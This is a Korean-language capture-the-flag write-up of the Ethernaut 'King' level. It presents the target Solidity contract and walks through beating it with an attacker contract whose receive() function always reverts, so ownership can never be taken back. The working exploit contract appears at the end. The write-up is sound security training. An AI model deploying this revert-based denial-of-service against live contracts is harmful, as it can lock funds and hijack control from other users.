// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
우리의 mission은 king이 되는 것이다.
hint를 보면 왕은 현재의 상금보다 더 많은 상금을 내면 왕이 된다. 우리가 instance를 제출하면 다시 level이 쿠데타를 일으켜 왕권을 탈취한다고 나와있다.
현재 owner랑 king은 level이고 금액은 0.001 ether이다.
그럼 우리는 > 0.001 ether 의 금액을 지불하면 탈취할 수 있다.
0.002 ether를 지불 하니까 King이 되었다.
하지만 Submit을 다시 탈취당하는 것을 확인할 수 있다.
이 문제를 도식화 해보면 contract에서 0.002 ether를 주면 해당 contract가 king이 된다.
그리고 Submit Contract를 하면 0 ether를 보내면서 msg.sender == owner를 만족하여 owner가 king 된다.
이렇게 보면 > 0.001 ether를 보내고 Submit을 하기 전까지 king은 내 Contract 가 된다.
그럼 악의적인 Contract가 0.002 ether를 보내 왕권을 탈취하고 owner가 다시 call을 할 때 그 call을 무시하면 어떻게 될까??
이렇게 외부에서 call이 오면 error를 일으키면 왕권을 유지할 수 있다.
contract Attacker{
King king;
constructor(address payable _address) {
king = King(_address);
}
function Attack() public payable {
(bool sent, ) = address(king).call{value : msg.value}("");
require(sent, "Failed send To ether");
}
receive() payable external{
revert();
}
}
0.002 ether를 value로 주고 Attack 하면 왕권을 탈취할 수 있다.